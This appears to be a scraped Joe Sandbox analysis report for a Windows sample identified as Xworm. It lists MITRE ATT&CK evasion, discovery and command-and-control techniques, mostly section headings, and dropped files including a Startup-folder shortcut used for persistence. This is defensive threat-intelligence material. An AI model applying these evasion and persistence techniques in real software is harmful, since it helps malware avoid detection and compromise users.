Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report s8Z4L8DY65.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\www.kernal.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\www.kernal.exe.log

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\www.kernal.lnk

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
s8Z4L8DY65.exe